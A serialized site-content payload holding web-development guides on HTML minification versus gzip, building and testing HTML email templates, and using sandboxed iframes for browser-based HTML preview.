",[143,126031,126032],{},".gz",[143,126034,126035],{},".br"," files alongside originals, letting your server skip on-the-fly compression",[44,126038,126039,126045],{},[47,126040,126041,126042,126044],{},"Set proper ",[143,126043,124154],{}," headers"," — ensure caches store separate versions for compressed and uncompressed responses",[11,126047,1355],{"id":1354},[41,126049,126050,126053,126056,126059,126062],{},[44,126051,126052],{},"Minification removes unnecessary characters; gzip replaces repeating patterns with back-references",[44,126054,126055],{},"Gzip achieves larger savings (60–80%) than minification alone (15–35%)",[44,126057,126058],{},"Combining both yields the best results because minified files compress better",[44,126060,126061],{},"Minification matters most when gzip is unavailable — email HTML, small files, development environments",[44,126063,126064],{},"Enable Brotli where possible for an additional 15–25% improvement over gzip",[11,126066,321],{"id":320},[41,126068,126069,126073,126077],{},[44,126070,126071],{},[98,126072,124196],{"href":50523},[44,126074,126075],{},[98,126076,125070],{"href":125069},[44,126078,126079],{},[98,126080,125076],{"href":125075},[11,126082,286],{"id":285},[16,126084,126085,126086,126088],{},"Minify your HTML instantly with our free ",[98,126087,125088],{"href":124175},". Paste your markup, choose your options, and see the size difference — then pair it with server-side compression for maximum performance.",{"title":141,"searchDepth":337,"depth":337,"links":126090},[126091,126092,126093,126094,126095,126096,126097,126098,126099,126100],{"id":125793,"depth":337,"text":125794},{"id":125806,"depth":337,"text":125807},{"id":70142,"depth":337,"text":70143},{"id":125891,"depth":337,"text":125892},{"id":125926,"depth":337,"text":125927},{"id":125944,"depth":337,"text":125945},{"id":126005,"depth":337,"text":126006},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare HTML minification and gzip compression — how each technique reduces page size, how they work together, and when one matters more than the other.",{"immutable":363},"\u002Fguides\u002Fhtml-minification-vs-gzip",{"title":125785,"description":126101},"guides\u002Fhtml-minification-vs-gzip","w53LmrFLW-nug4McofxWANQF38Vlc3HD1fdczM8h20c",{"id":126108,"title":126109,"body":126110,"date":2070,"description":126883,"extension":361,"meta":126884,"navigation":363,"path":126885,"readingTime":889,"seo":126886,"stem":126887,"__hash__":126888},"guides\u002Fguides\u002Fhtml-preview-email-templates.md","HTML Preview for Email Templates",{"type":8,"value":126111,"toc":126864},[126112,126116,126122,126125,126129,126132,126250,126260,126264,126268,126396,126401,126405,126417,126515,126521,126525,126587,126590,126594,126597,126601,126604,126610,126614,126623,126627,126630,126686,126689,126693,126696,126707,126711,126714,126725,126729,126828,126830,126853,126855,126861],[11,126113,126115],{"id":126114},"why-email-templates-need-special-previewing","Why Email Templates Need Special Previewing",[16,126117,126118,126119,126121],{},"Email HTML is not web HTML. Gmail strips ",[143,126120,41299],{}," blocks. Outlook uses Word's rendering engine. Mobile apps resize tables unpredictably. A template that looks perfect in Chrome might fall apart in an inbox.",[16,126123,126124],{},"Previewing email templates in a browser is step one — but you also need to understand which CSS properties survive the journey from your code to the recipient's screen.",[11,126126,126128],{"id":126127},"the-constraints-of-email-html","The Constraints of Email HTML",[16,126130,126131],{},"Email clients vary wildly in CSS support. Here is what you are up against:",[193,126133,126134,126150],{},[196,126135,126136],{},[199,126137,126138,126140,126143,126145,126148],{},[202,126139,52178],{},[202,126141,126142],{},"Web Pages",[202,126144,10807],{},[202,126146,126147],{},"Outlook",[202,126149,10739],{},[211,126151,126152,126169,126182,126194,126206,126220,126234],{},[199,126153,126154,126160,126162,126165,126167],{},[216,126155,126156,98763,126158],{},[143,126157,41299],{},[143,126159,13169],{},[216,126161,102487],{},[216,126163,126164],{},"Stripped",[216,126166,10731],{},[216,126168,55046],{},[199,126170,126171,126174,126176,126178,126180],{},[216,126172,126173],{},"Media queries",[216,126175,55046],{},[216,126177,126164],{},[216,126179,6117],{},[216,126181,55046],{},[199,126183,126184,126186,126188,126190,126192],{},[216,126185,65891],{},[216,126187,55046],{},[216,126189,6117],{},[216,126191,6117],{},[216,126193,55046],{},[199,126195,126196,126198,126200,126202,126204],{},[216,126197,67130],{},[216,126199,55046],{},[216,126201,6117],{},[216,126203,6117],{},[216,126205,55046],{},[199,126207,126208,126212,126214,126216,126218],{},[216,126209,126210],{},[143,126211,16947],{},[216,126213,55046],{},[216,126215,3057],{},[216,126217,10731],{},[216,126219,55046],{},[199,126221,126222,126226,126228,126230,126232],{},[216,126223,126224],{},[143,126225,12578],{},[216,126227,55046],{},[216,126229,10731],{},[216,126231,6117],{},[216,126233,55046],{},[199,126235,126236,126242,126244,126246,126248],{},[216,126237,126238,44235,126240],{},[143,126239,41140],{},[143,126241,69003],{},[216,126243,55046],{},[216,126245,126164],{},[216,126247,3057],{},[216,126249,55046],{},[16,126251,126252,126253,126256,126257,126259],{},"The practical consequence: ",[47,126254,126255],{},"you write email HTML like it is 2004."," Tables for layout. Inline styles for everything. No flexbox, no grid, no ",[143,126258,41299],{}," blocks as your primary styling method.",[11,126261,126263],{"id":126262},"writing-email-safe-html","Writing Email-Safe HTML",[33,126265,126267],{"id":126266},"use-tables-for-layout","Use Tables for Layout",[135,126269,126271],{"className":6417,"code":126270,"language":6419,"meta":141,"style":141},"\u003Ctable width=\"600\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n  \u003Ctr>\n    \u003Ctd width=\"200\" bgcolor=\"#f5f5f5\">\n      Sidebar content\n    \u003C\u002Ftd>\n    \u003Ctd width=\"400\">\n      Main content\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,126272,126273,126309,126317,126339,126344,126352,126367,126372,126380,126388],{"__ignoreMap":141},[1560,126274,126275,126277,126279,126281,126283,126285,126288,126290,126293,126296,126298,126300,126303,126305,126307],{"class":1562,"line":1563},[1560,126276,6431],{"class":1570},[1560,126278,193],{"class":2484},[1560,126280,10649],{"class":1566},[1560,126282,7297],{"class":1570},[1560,126284,10654],{"class":5634},[1560,126286,126287],{"class":1566}," cellpadding",[1560,126289,7297],{"class":1570},[1560,126291,126292],{"class":5634},"\"0\"",[1560,126294,126295],{"class":1566}," cellspacing",[1560,126297,7297],{"class":1570},[1560,126299,126292],{"class":5634},[1560,126301,126302],{"class":5159}," border",[1560,126304,7297],{"class":1570},[1560,126306,126292],{"class":5634},[1560,126308,6441],{"class":1570},[1560,126310,126311,126313,126315],{"class":1562,"line":337},[1560,126312,11223],{"class":1570},[1560,126314,199],{"class":2484},[1560,126316,6441],{"class":1570},[1560,126318,126319,126321,126323,126325,126327,126329,126332,126334,126337],{"class":1562,"line":343},[1560,126320,12292],{"class":1570},[1560,126322,216],{"class":2484},[1560,126324,10649],{"class":1566},[1560,126326,7297],{"class":1570},[1560,126328,10662],{"class":5634},[1560,126330,126331],{"class":5159}," bgcolor",[1560,126333,7297],{"class":1570},[1560,126335,126336],{"class":5634},"\"#f5f5f5\"",[1560,126338,6441],{"class":1570},[1560,126340,126341],{"class":1562,"line":365},[1560,126342,126343],{"class":1570},"      Sidebar content\n",[1560,126345,126346,126348,126350],{"class":1562,"line":889},[1560,126347,124461],{"class":1570},[1560,126349,216],{"class":2484},[1560,126351,6441],{"class":1570},[1560,126353,126354,126356,126358,126360,126362,126365],{"class":1562,"line":1710},[1560,126355,12292],{"class":1570},[1560,126357,216],{"class":2484},[1560,126359,10649],{"class":1566},[1560,126361,7297],{"class":1570},[1560,126363,126364],{"class":5634},"\"400\"",[1560,126366,6441],{"class":1570},[1560,126368,126369],{"class":1562,"line":1717},[1560,126370,126371],{"class":1570},"      Main content\n",[1560,126373,126374,126376,126378],{"class":1562,"line":1747},[1560,126375,124461],{"class":1570},[1560,126377,216],{"class":2484},[1560,126379,6441],{"class":1570},[1560,126381,126382,126384,126386],{"class":1562,"line":2507},[1560,126383,12331],{"class":1570},[1560,126385,199],{"class":2484},[1560,126387,6441],{"class":1570},[1560,126389,126390,126392,126394],{"class":1562,"line":2524},[1560,126391,11242],{"class":1570},[1560,126393,193],{"class":2484},[1560,126395,6441],{"class":1570},[16,126397,126398,126399,468],{},"Tables are the only layout method that works everywhere. Nest them for complex structures — a two-column row is a table inside a ",[143,126400,109890],{},[33,126402,126404],{"id":126403},"inline-all-styles","Inline All Styles",[16,126406,126407,126408,126410,126411,126413,126414,126416],{},"Gmail keeps inline ",[143,126409,2043],{}," attributes but removes ",[143,126412,41299],{}," blocks in the ",[143,126415,13169],{},". Tools like Premailer or Juice automate inlining:",[135,126418,126420],{"className":6417,"code":126419,"language":6419,"meta":141,"style":141},"\u003C!-- Before inlining -->\n\u003Cp class=\"headline\">Welcome\u003C\u002Fp>\n\n\u003Cstyle>.headline { font-size: 24px; color: #333; }\u003C\u002Fstyle>\n\n\u003C!-- After inlining -->\n\u003Cp style=\"font-size: 24px; color: #333;\">Welcome\u003C\u002Fp>\n",[143,126421,126422,126427,126447,126451,126487,126491,126496],{"__ignoreMap":141},[1560,126423,126424],{"class":1562,"line":1563},[1560,126425,126426],{"class":1649},"\u003C!-- Before inlining -->\n",[1560,126428,126429,126431,126433,126435,126437,126440,126443,126445],{"class":1562,"line":337},[1560,126430,6431],{"class":1570},[1560,126432,16],{"class":2484},[1560,126434,11423],{"class":1566},[1560,126436,7297],{"class":1570},[1560,126438,126439],{"class":5634},"\"headline\"",[1560,126441,126442],{"class":1570},">Welcome\u003C\u002F",[1560,126444,16],{"class":2484},[1560,126446,6441],{"class":1570},[1560,126448,126449],{"class":1562,"line":343},[1560,126450,1702],{"emptyLinePlaceholder":363},[1560,126452,126453,126455,126457,126459,126462,126464,126466,126468,126470,126472,126474,126476,126478,126480,126483,126485],{"class":1562,"line":365},[1560,126454,6431],{"class":1570},[1560,126456,2043],{"class":2484},[1560,126458,28226],{"class":1570},[1560,126460,126461],{"class":1566},".headline",[1560,126463,1658],{"class":1570},[1560,126465,72075],{"class":1576},[1560,126467,1663],{"class":1570},[1560,126469,61489],{"class":1576},[1560,126471,1670],{"class":1669},[1560,126473,3664],{"class":1570},[1560,126475,12607],{"class":1576},[1560,126477,1663],{"class":1570},[1560,126479,51917],{"class":1576},[1560,126481,126482],{"class":1570},"; }\u003C\u002F",[1560,126484,2043],{"class":2484},[1560,126486,6441],{"class":1570},[1560,126488,126489],{"class":1562,"line":889},[1560,126490,1702],{"emptyLinePlaceholder":363},[1560,126492,126493],{"class":1562,"line":1710},[1560,126494,126495],{"class":1649},"\u003C!-- After inlining -->\n",[1560,126497,126498,126500,126502,126504,126506,126509,126511,126513],{"class":1562,"line":1717},[1560,126499,6431],{"class":1570},[1560,126501,16],{"class":2484},[1560,126503,11449],{"class":1566},[1560,126505,7297],{"class":1570},[1560,126507,126508],{"class":5634},"\"font-size: 24px; color: #333;\"",[1560,126510,126442],{"class":1570},[1560,126512,16],{"class":2484},[1560,126514,6441],{"class":1570},[16,126516,126517,126518,126520],{},"Always inline before sending. Writing CSS in ",[143,126519,41299],{}," during development is fine — just inline it before your final test.",[33,126522,126524],{"id":126523},"use-absolute-urls-for-images","Use Absolute URLs for Images",[135,126526,126528],{"className":6417,"code":126527,"language":6419,"meta":141,"style":141},"\u003C!-- Wrong — will not load in email -->\n\u003Cimg src=\"images\u002Flogo.png\" alt=\"Logo\">\n\n\u003C!-- Correct — full URL -->\n\u003Cimg src=\"https:\u002F\u002Fexample.com\u002Fimages\u002Flogo.png\" alt=\"Logo\">\n",[143,126529,126530,126535,126557,126561,126566],{"__ignoreMap":141},[1560,126531,126532],{"class":1562,"line":1563},[1560,126533,126534],{"class":1649},"\u003C!-- Wrong — will not load in email -->\n",[1560,126536,126537,126539,126541,126543,126545,126548,126550,126552,126555],{"class":1562,"line":337},[1560,126538,6431],{"class":1570},[1560,126540,10628],{"class":2484},[1560,126542,10631],{"class":1566},[1560,126544,7297],{"class":1570},[1560,126546,126547],{"class":5634},"\"images\u002Flogo.png\"",[1560,126549,12889],{"class":1566},[1560,126551,7297],{"class":1570},[1560,126553,126554],{"class":5634},"\"Logo\"",[1560,126556,6441],{"class":1570},[1560,126558,126559],{"class":1562,"line":343},[1560,126560,1702],{"emptyLinePlaceholder":363},[1560,126562,126563],{"class":1562,"line":365},[1560,126564,126565],{"class":1649},"\u003C!-- Correct — full URL -->\n",[1560,126567,126568,126570,126572,126574,126576,126579,126581,126583,126585],{"class":1562,"line":889},[1560,126569,6431],{"class":1570},[1560,126571,10628],{"class":2484},[1560,126573,10631],{"class":1566},[1560,126575,7297],{"class":1570},[1560,126577,126578],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Flogo.png\"",[1560,126580,12889],{"class":1566},[1560,126582,7297],{"class":1570},[1560,126584,126554],{"class":5634},[1560,126586,6441],{"class":1570},[16,126588,126589],{},"Email clients download images from servers. Relative paths resolve to nothing.",[11,126591,126593],{"id":126592},"preview-workflow-for-email-templates","Preview Workflow for Email Templates",[16,126595,126596],{},"A solid workflow catches rendering problems before they reach inboxes.",[33,126598,126600],{"id":126599},"step-1-write-and-preview-in-browser","Step 1: Write and Preview in Browser",[16,126602,126603],{},"Use an HTML preview tool to write and iterate on your template. At this stage, you are checking structure, content, and basic styling.",[16,126605,126606,126607,126609],{},"Try our ",[98,126608,109028],{"href":109027}," tool — paste your email template code and see the rendered output instantly.",[33,126611,126613],{"id":126612},"step-2-inline-css","Step 2: Inline CSS",[16,126615,126616,126617,126619,126620,126622],{},"Run your template through an CSS inliner. This merges your ",[143,126618,41299],{}," rules into inline ",[143,126621,2043],{}," attributes on each element.",[33,126624,126626],{"id":126625},"step-3-test-in-multiple-clients","Step 3: Test in Multiple Clients",[16,126628,126629],{},"Do not rely on a single browser view. Use these testing options:",[193,126631,126632,126642],{},[196,126633,126634],{},[199,126635,126636,126638,126640],{},[202,126637,751],{},[202,126639,922],{},[202,126641,16397],{},[211,126643,126644,126655,126665,126676],{},[199,126645,126646,126649,126652],{},[216,126647,126648],{},"Litmus",[216,126650,126651],{},"Screenshots across 50+ email clients",[216,126653,126654],{},"Paid",[199,126656,126657,126660,126663],{},[216,126658,126659],{},"Email on Acid",[216,126661,126662],{},"Pre-send testing with screenshots",[216,126664,126654],{},[199,126666,126667,126670,126673],{},[216,126668,126669],{},"Outlook Test Mode",[216,126671,126672],{},"Preview in Outlook desktop",[216,126674,126675],{},"Free (if you have Outlook)",[199,126677,126678,126681,126684],{},[216,126679,126680],{},"Gmail Web",[216,126682,126683],{},"Send to yourself, check web client",[216,126685,16450],{},[16,126687,126688],{},"At minimum, test in Gmail (web), Outlook (desktop), and Apple Mail (iOS).",[33,126690,126692],{"id":126691},"step-4-check-without-images","Step 4: Check Without Images",[16,126694,126695],{},"Many email clients block images by default. Preview your template with images disabled:",[41,126697,126698,126701,126704],{},[44,126699,126700],{},"Does the alt text make sense?",[44,126702,126703],{},"Is the layout still understandable?",[44,126705,126706],{},"Do background colors fill the space where images would be?",[33,126708,126710],{"id":126709},"step-5-test-on-mobile","Step 5: Test on Mobile",[16,126712,126713],{},"Send the email to your phone. Open it in the Gmail app, Apple Mail app, and any other client your audience uses. Check that:",[41,126715,126716,126719,126722],{},[44,126717,126718],{},"Text is readable without zooming",[44,126720,126721],{},"Buttons are large enough to tap",[44,126723,126724],{},"Single-column layout does not break",[11,126726,126728],{"id":126727},"common-email-template-bugs","Common Email Template Bugs",[193,126730,126731,126741],{},[196,126732,126733],{},[199,126734,126735,126737,126739],{},[202,126736,95114],{},[202,126738,59374],{},[202,126740,3690],{},[211,126742,126743,126760,126774,126788,126799,126813],{},[199,126744,126745,126748,126753],{},[216,126746,126747],{},"Extra spacing between table cells",[216,126749,59400,126750],{},[143,126751,126752],{},"cellspacing",[216,126754,1943,126755,44235,126758],{},[143,126756,126757],{},"cellspacing=\"0\"",[143,126759,67752],{},[199,126761,126762,126765,126768],{},[216,126763,126764],{},"Blue links on addresses\u002Fdates",[216,126766,126767],{},"Gmail auto-linking",[216,126769,1388,126770,126773],{},[143,126771,126772],{},"\u003Cspan>"," with inline color inside the link Gmail creates",[199,126775,126776,126779,126782],{},[216,126777,126778],{},"Broken layout in Outlook",[216,126780,126781],{},"Outlook uses Word renderer",[216,126783,1388,126784,126787],{},[143,126785,126786],{},"mso-"," conditional comments for Outlook-specific fixes",[199,126789,126790,126793,126796],{},[216,126791,126792],{},"Images not loading",[216,126794,126795],{},"Relative URLs",[216,126797,126798],{},"Use absolute URLs",[199,126800,126801,126804,126807],{},[216,126802,126803],{},"Font falls back to Times",[216,126805,126806],{},"Web fonts stripped",[216,126808,126809,126810],{},"Specify a safe fallback stack: ",[143,126811,126812],{},"font-family: 'Roboto', Arial, sans-serif",[199,126814,126815,126818,126821],{},[216,126816,126817],{},"1px gaps in Outlook",[216,126819,126820],{},"Image display behavior",[216,126822,59390,126823,5255,126826,124277],{},[143,126824,126825],{},"style=\"display:block;\"",[143,126827,10900],{},[11,126829,1355],{"id":1354},[41,126831,126832,126835,126841,126844,126847,126850],{},[44,126833,126834],{},"Email HTML requires tables for layout and inline styles for compatibility",[44,126836,126837,126838,126840],{},"Gmail strips ",[143,126839,41299],{}," blocks; Outlook uses Word's rendering engine",[44,126842,126843],{},"Always inline your CSS before sending — tools like Premailer automate this",[44,126845,126846],{},"Preview in a browser for structure, then test across real email clients",[44,126848,126849],{},"Test with images disabled and on mobile devices before sending",[44,126851,126852],{},"Use absolute URLs for all images and assets",[11,126854,286],{"id":285},[16,126856,126857,126858,126860],{},"Write and preview your email templates in real time with our ",[98,126859,109028],{"href":109027}," tool. Paste your table-based layout, add inline styles, and see exactly how it renders — no setup required.",[2043,126862,126863],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":126865},[126866,126867,126868,126873,126880,126881,126882],{"id":126114,"depth":337,"text":126115},{"id":126127,"depth":337,"text":126128},{"id":126262,"depth":337,"text":126263,"children":126869},[126870,126871,126872],{"id":126266,"depth":343,"text":126267},{"id":126403,"depth":343,"text":126404},{"id":126523,"depth":343,"text":126524},{"id":126592,"depth":337,"text":126593,"children":126874},[126875,126876,126877,126878,126879],{"id":126599,"depth":343,"text":126600},{"id":126612,"depth":343,"text":126613},{"id":126625,"depth":343,"text":126626},{"id":126691,"depth":343,"text":126692},{"id":126709,"depth":343,"text":126710},{"id":126727,"depth":337,"text":126728},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to preview and test HTML email templates in the browser. Covers email client quirks, inline styles, and preview workflows.",{"immutable":363},"\u002Fguides\u002Fhtml-preview-email-templates",{"title":126109,"description":126883},"guides\u002Fhtml-preview-email-templates","XSyz32DnokpPYT5ZDN45VNbxOUJTCcx5OcyhHYZLk08",{"id":126890,"title":126891,"body":126892,"date":2070,"description":127370,"extension":361,"meta":127371,"navigation":363,"path":127372,"readingTime":1710,"seo":127373,"stem":127374,"__hash__":127375},"guides\u002Fguides\u002Fhtml-preview-guide.md","HTML Preview Guide",{"type":8,"value":126893,"toc":127347},[126894,126898,126901,126904,126908,126914,126918,126925,126975,126980,126991,126995,127001,127089,127096,127109,127113,127115,127118,127122,127125,127129,127132,127136,127139,127141,127145,127148,127202,127205,127209,127219,127223,127226,127230,127233,127237,127240,127244,127247,127305,127308,127310,127336,127338,127344],[11,126895,126897],{"id":126896},"what-is-an-html-preview-tool","What Is an HTML Preview Tool?",[16,126899,126900],{},"An HTML preview tool renders your HTML, CSS, and JavaScript code in real time inside the browser. You write markup on one side of the screen and see the result on the other — no save, no refresh, no server setup required.",[16,126902,126903],{},"Think of it as a scratchpad for the web. You paste a snippet, tweak a style, and immediately see how it looks.",[11,126905,126907],{"id":126906},"how-iframe-sandboxing-works","How iframe Sandboxing Works",[16,126909,126910,126911,126913],{},"Every browser-based HTML preview relies on an ",[143,126912,110217],{}," to isolate your code from the host page. Two attributes make this safe and flexible.",[33,126915,126917],{"id":126916},"the-srcdoc-attribute","The srcdoc Attribute",[16,126919,126920,126921,126924],{},"Instead of loading a URL, ",[143,126922,126923],{},"srcdoc"," embeds HTML directly into the iframe:",[135,126926,126928],{"className":6417,"code":126927,"language":6419,"meta":141,"style":141},"\u003Ciframe\n  srcdoc=\"\u003Ch1>Hello, world!\u003C\u002Fh1>\"\n  sandbox=\"allow-scripts\"\n>\u003C\u002Fiframe>\n",[143,126929,126930,126937,126956,126966],{"__ignoreMap":141},[1560,126931,126932,126934],{"class":1562,"line":1563},[1560,126933,6431],{"class":1570},[1560,126935,126936],{"class":2484},"iframe\n",[1560,126938,126939,126942,126944,126946,126948,126951,126953],{"class":1562,"line":337},[1560,126940,126941],{"class":1566},"  srcdoc",[1560,126943,7297],{"class":1570},[1560,126945,8721],{"class":5634},[1560,126947,6431],{"class":5159},[1560,126949,126950],{"class":5634},"h1>Hello, world!",[1560,126952,6431],{"class":5159},[1560,126954,126955],{"class":5634},"\u002Fh1>\"\n",[1560,126957,126958,126961,126963],{"class":1562,"line":343},[1560,126959,126960],{"class":1566},"  sandbox",[1560,126962,7297],{"class":1570},[1560,126964,126965],{"class":5634},"\"allow-scripts\"\n",[1560,126967,126968,126970,126973],{"class":1562,"line":365},[1560,126969,12441],{"class":1570},[1560,126971,126972],{"class":2484},"iframe",[1560,126974,6441],{"class":1570},[16,126976,126977,126978,8037],{},"Benefits of ",[143,126979,126923],{},[41,126981,126982,126985,126988],{},[44,126983,126984],{},"No network request — the browser renders the content instantly",[44,126986,126987],{},"Works offline — no server round-trip needed",[44,126989,126990],{},"Easy to update — just change the attribute value",[33,126992,126994],{"id":126993},"the-sandbox-attribute","The sandbox Attribute",[16,126996,421,126997,127000],{},[143,126998,126999],{},"sandbox"," attribute restricts what the iframe can do. Without it, embedded code could redirect the parent page, access cookies, or run pop-ups.",[193,127002,127003,127015],{},[196,127004,127005],{},[199,127006,127007,127009,127012],{},[202,127008,25282],{},[202,127010,127011],{},"Attribute Value",[202,127013,127014],{},"What It Allows",[211,127016,127017,127030,127043,127056,127069],{},[199,127018,127019,127022,127027],{},[216,127020,127021],{},"Scripts",[216,127023,127024],{},[143,127025,127026],{},"allow-scripts",[216,127028,127029],{},"JavaScript execution",[199,127031,127032,127035,127040],{},[216,127033,127034],{},"Same origin",[216,127036,127037],{},[143,127038,127039],{},"allow-same-origin",[216,127041,127042],{},"Access to cookies and storage",[199,127044,127045,127048,127053],{},[216,127046,127047],{},"Forms",[216,127049,127050],{},[143,127051,127052],{},"allow-forms",[216,127054,127055],{},"Form submission",[199,127057,127058,127061,127066],{},[216,127059,127060],{},"Pop-ups",[216,127062,127063],{},[143,127064,127065],{},"allow-popups",[216,127067,127068],{},"Opening new windows",[199,127070,127071,127073,127078],{},[216,127072,18438],{},[216,127074,127075],{},[143,127076,127077],{},"allow-modals",[216,127079,127080,1459,127083,1459,127086],{},[143,127081,127082],{},"alert()",[143,127084,127085],{},"confirm()",[143,127087,127088],{},"prompt()",[16,127090,127091,127092,127095],{},"A typical preview tool uses ",[143,127093,127094],{},"sandbox=\"allow-scripts\""," — scripts run, but the iframe cannot access the parent page or open pop-ups.",[16,127097,127098,127099,127102,127103,127105,127106,127108],{},"Always apply the ",[47,127100,127101],{},"minimum set of permissions"," your snippet needs. Adding ",[143,127104,127039],{}," alongside ",[143,127107,127026],{}," can let embedded code remove the sandbox entirely, so combine them with caution.",[11,127110,127112],{"id":127111},"benefits-of-browser-based-preview","Benefits of Browser-Based Preview",[33,127114,84259],{"id":84258},[16,127116,127117],{},"No install, no build step, no configuration. Open a tab and start coding. This removes the biggest friction for quick experiments.",[33,127119,127121],{"id":127120},"instant-feedback","Instant Feedback",[16,127123,127124],{},"Changes render as you type. You see layout shifts, color changes, and JavaScript errors the moment they happen — no alt-tabbing between editor and browser.",[33,127126,127128],{"id":127127},"safe-execution","Safe Execution",[16,127130,127131],{},"The sandbox keeps your code isolated. A broken script or an infinite loop stays inside the iframe and cannot crash the host page or access your data.",[33,127133,127135],{"id":127134},"easy-sharing","Easy Sharing",[16,127137,127138],{},"Most preview tools generate a shareable link or let you copy the code directly. Send a URL to a colleague and they see exactly what you see — no environment differences, no \"works on my machine.\"",[11,127140,100733],{"id":100732},[33,127142,127144],{"id":127143},"testing-css-layouts","Testing CSS Layouts",[16,127146,127147],{},"Paste a flexbox or grid snippet, adjust properties, and watch the layout respond:",[135,127149,127151],{"className":6417,"code":127150,"language":6419,"meta":141,"style":141},"\u003Cdiv style=\"display: grid; grid-template-columns: 1fr 2fr; gap: 16px;\">\n  \u003Cdiv>Sidebar\u003C\u002Fdiv>\n  \u003Cdiv>Main content\u003C\u002Fdiv>\n\u003C\u002Fdiv>\n",[143,127152,127153,127168,127181,127194],{"__ignoreMap":141},[1560,127154,127155,127157,127159,127161,127163,127166],{"class":1562,"line":1563},[1560,127156,6431],{"class":1570},[1560,127158,7291],{"class":2484},[1560,127160,11449],{"class":1566},[1560,127162,7297],{"class":1570},[1560,127164,127165],{"class":5634},"\"display: grid; grid-template-columns: 1fr 2fr; gap: 16px;\"",[1560,127167,6441],{"class":1570},[1560,127169,127170,127172,127174,127177,127179],{"class":1562,"line":337},[1560,127171,11223],{"class":1570},[1560,127173,7291],{"class":2484},[1560,127175,127176],{"class":1570},">Sidebar\u003C\u002F",[1560,127178,7291],{"class":2484},[1560,127180,6441],{"class":1570},[1560,127182,127183,127185,127187,127190,127192],{"class":1562,"line":343},[1560,127184,11223],{"class":1570},[1560,127186,7291],{"class":2484},[1560,127188,127189],{"class":1570},">Main content\u003C\u002F",[1560,127191,7291],{"class":2484},[1560,127193,6441],{"class":1570},[1560,127195,127196,127198,127200],{"class":1562,"line":365},[1560,127197,11242],{"class":1570},[1560,127199,7291],{"class":2484},[1560,127201,6441],{"class":1570},[16,127203,127204],{},"A sandboxed preview shows you the rendered result instantly without spinning up a local dev server.",[33,127206,127208],{"id":127207},"debugging-javascript","Debugging JavaScript",[16,127210,127211,127212,1531,127215,127218],{},"Throw a quick ",[143,127213,127214],{},"console.log",[143,127216,127217],{},"document.querySelector"," into your snippet. The browser dev tools attached to the iframe catch errors and log output just like any other page.",[33,127220,127222],{"id":127221},"sharing-code-snippets","Sharing Code Snippets",[16,127224,127225],{},"Need feedback on a button design? Paste the HTML and CSS into a preview tool, copy the shareable link, and send it. Reviewers interact with the live result instead of reading raw code.",[33,127227,127229],{"id":127228},"prototyping-components","Prototyping Components",[16,127231,127232],{},"Build a card, a nav bar, or a modal in isolation before integrating it into your project. Isolated prototyping keeps your main codebase clean and lets you experiment freely.",[33,127234,127236],{"id":127235},"learning-html-and-css","Learning HTML and CSS",[16,127238,127239],{},"Beginners benefit most from instant feedback. Type a tag, see it render. Change a property, see the difference. The feedback loop is seconds, not minutes.",[11,127241,127243],{"id":127242},"limitations-compared-to-full-ides","Limitations Compared to Full IDEs",[16,127245,127246],{},"Browser-based preview tools trade power for convenience. Know where they fall short.",[193,127248,127249,127259],{},[196,127250,127251],{},[199,127252,127253,127256],{},[202,127254,127255],{},"Limitation",[202,127257,127258],{},"Details",[211,127260,127261,127269,127277,127289,127297],{},[199,127262,127263,127266],{},[216,127264,127265],{},"No file system",[216,127267,127268],{},"You work with a single document — no imports across files",[199,127270,127271,127274],{},[216,127272,127273],{},"No build tools",[216,127275,127276],{},"No Sass, no PostCSS, no TypeScript compilation",[199,127278,127279,127282],{},[216,127280,127281],{},"No package manager",[216,127283,127284,127285,127288],{},"You cannot ",[143,127286,127287],{},"npm install"," dependencies",[199,127290,127291,127294],{},[216,127292,127293],{},"Limited debugging",[216,127295,127296],{},"Dev tools work, but breakpoints and source maps are harder to set up",[199,127298,127299,127302],{},[216,127300,127301],{},"Performance ceiling",[216,127303,127304],{},"Heavy DOM manipulation or WebSocket connections may hit sandbox limits",[16,127306,127307],{},"If your project needs a build step, a module bundler, or multiple files, move to a full development environment. Preview tools are for snippets, not applications.",[11,127309,1355],{"id":1354},[41,127311,127312,127322,127327,127330,127333],{},[44,127313,127314,127315,12674,127317,1856,127319,127321],{},"Browser-based HTML preview uses ",[143,127316,110217],{},[143,127318,126923],{},[143,127320,126999],{}," attributes to render code safely inside the page",[44,127323,127324,127326],{},[143,127325,127094],{}," gives you JavaScript access while blocking pop-ups, form submissions, and parent-page access",[44,127328,127329],{},"The main benefits are zero setup, instant feedback, safe execution, and easy sharing",[44,127331,127332],{},"Use cases include CSS testing, JS debugging, 